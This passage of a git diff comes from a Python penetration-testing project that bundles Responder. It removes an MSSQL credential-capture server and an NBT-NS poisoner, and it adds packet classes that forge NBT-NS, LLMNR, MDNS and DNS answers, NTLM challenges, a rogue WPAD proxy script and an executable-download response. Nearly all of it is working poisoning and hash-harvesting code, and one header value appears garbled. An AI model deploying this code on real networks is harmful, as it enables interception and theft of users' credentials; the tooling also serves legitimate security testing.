Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#MS-SQL Pre-login packet class -class MSSQLPreLoginAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\x25"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\x00"), - ("VersionOffset", "\x00\x15"), - ("VersionLen", "\x00\x06"), - ("TokenType1", "\x01"), - ("EncryptionOffset", "\x00\x1b"), - ("EncryptionLen", "\x00\x01"), - ("TokenType2", "\x02"), - ("InstOptOffset", "\x00\x1c"), - ("InstOptLen", "\x00\x01"), - ("TokenTypeThrdID", "\x03"), - ("ThrdIDOffset", "\x00\x1d"), - ("ThrdIDLen", "\x00\x00"), - ("ThrdIDTerminator", "\xff"), - ("VersionStr", "\x09\x00\x0f\xc3"), - ("SubBuild", "\x00\x00"), - ("EncryptionStr", "\x02"), - ("InstOptStr", "\x00"), - ]) - - def calculate(self): - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) - - VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) - - EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) - - InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) - - ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) - #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) - #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) - #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) - -#MS-SQL NTLM Negotiate packet class -class MSSQLNTLMChallengeAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\xc7"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\xed"), - ("SSPIBuffLen", "\xbc\x00"), - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - ##Then calculate - - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack(" 60: - DomainLen = struct.unpack('H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() diff --git a/core/responder/mssql/__init__.py b/core/responder/mssql/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/nbtns/NBTNSpoisoner.py b/core/responder/nbtns/NBTNSpoisoner.py deleted file mode 100644 index ec9fbaf..0000000 --- a/core/responder/nbtns/NBTNSpoisoner.py +++ /dev/null @@ -1,212 +0,0 @@ -#! /usr/bin/env python2.7 - -import threading -import socket -import struct -import logging -import string - -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.logger import logger -from core.configwatcher import ConfigWatcher -from core.responder.fingerprinter.Fingerprint import RunSmbFinger -from core.responder.odict import OrderedDict -from core.responder.packet import Packet -from core.responder.common import * - -formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("NBTNSpoisoner", formatter) - -class NBTNSpoisoner(): - - def start(self, options, ourip): - - global OURIP; OURIP = ourip - global args; args = options - - try: - log.debug("OURIP => {}".format(ourip)) - server = ThreadingUDPServer(("0.0.0.0", 137), NB) - t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - log.debug("Error starting on port 137: {}".format(e)) - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -#NBT-NS answer packet. -class NBT_Ans(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x85\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("NbtName", ""), - ("Type", "\x00\x20"), - ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), - ("Len", "\x00\x06"), - ("Flags1", "\x00\x00"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = socket.inet_aton(OURIP) - -def NBT_NS_Role(data): - Role = { - "\x41\x41\x00":"Workstation/Redirector Service", - "\x42\x4c\x00":"Domain Master Browser", - "\x42\x4d\x00":"Domain controller service", - "\x42\x4e\x00":"Local Master Browser", - "\x42\x4f\x00":"Browser Election Service", - "\x43\x41\x00":"File Server Service", - "\x41\x42\x00":"Browser Service", - } - - if data in Role: - return Role[data] - else: - return "Service not known." - -# Define what are we answering to. -def Validate_NBT_NS(data,Wredirect): - if args.analyze: - return False - - if NBT_NS_Role(data[43:46]) == "File Server Service.": - return True - - if args.nbtns == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": - return True - - if Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": - return True - - else: - return False - -def Decode_Name(nbname): - #From http://code.google.com/p/dpkt/ with author's permission. - try: - if len(nbname) != 32: - return nbname - l = [] - for i in range(0, 32, 2): - l.append(chr(((ord(nbname[i]) - 0x41) << 4) | - ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except Exception, e: - log.debug("Error parsing NetBIOS name: {}".format(e)) - return "Illegal NetBIOS name" - -# NBT_NS Server class. -class NB(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - DontRespondTo = ResponderConfig['DontRespondTo'] - DontRespondToName = ResponderConfig['DontRespondToName'] - RespondTo = ResponderConfig['RespondTo'] - RespondToName = ResponderConfig['RespondToName'] - - data, socket = self.request - Name = Decode_Name(data[13:45]) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if args.analyze: - if data[2:4] == "\x01\x10": - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])) - except Exception: - log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - else: - log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - - if RespondToSpecificHost(RespondTo) and args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,args.wredir): - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - - else: - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,args.wredir) and args.analyze == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass \ No newline at end of file diff --git a/core/responder/nbtns/__init__.py b/core/responder/nbtns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/odict.py b/core/responder/odict.py index 89a9172..56abb70 100644 --- a/core/responder/odict.py +++ b/core/responder/odict.py @@ -1,6 +1,6 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -11,12 +11,9 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . - - -#Packet class handling all packet generation (see odict.py). from UserDict import DictMixin class OrderedDict(dict, DictMixin): diff --git a/core/responder/packet.py b/core/responder/packet.py deleted file mode 100644 index ffdf157..0000000 --- a/core/responder/packet.py +++ /dev/null @@ -1,34 +0,0 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - - -#Packet class handling all packet generation (see odict.py). -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) diff --git a/core/responder/packets.py b/core/responder/packets.py new file mode 100644 index 0000000..a11e504 --- /dev/null +++ b/core/responder/packets.py @@ -0,0 +1,1277 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings + +from base64 import b64decode, b64encode +from odict import OrderedDict + +# Packet class handling all packet generation (see odict.py). +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +# NBT Answer Packet +class NBT_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("NbtName", ""), + ("Type", "\x00\x20"), + ("Classy", "\x00\x01"), + ("TTL", "\x00\x00\x00\xa5"), + ("Len", "\x00\x06"), + ("Flags1", "\x00\x00"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["NbtName"] = data[12:46] + self.fields["IP"] = settings.Config.IP_aton + +# DNS Answer Packet +class DNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +# LLMNR Answer Packet +class LLMNR_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] + self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + +# MDNS Answer Packet +class MDNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +##### HTTP Packets ##### +class NTLM_Challenge(Packet): + fields = OrderedDict([ + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + # Target Name Offsets + self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class IIS_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class IIS_Basic_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##### Proxy mode Packets ##### +class WPADScript(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeExeFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: application/octet-stream\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentDisp", "Content-Disposition: attachment; filename="), + ("ContentDiFile", ""), + ("FileCRLF", ";\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeHtmlFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: text/html\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +##### FTP Packets ##### +class 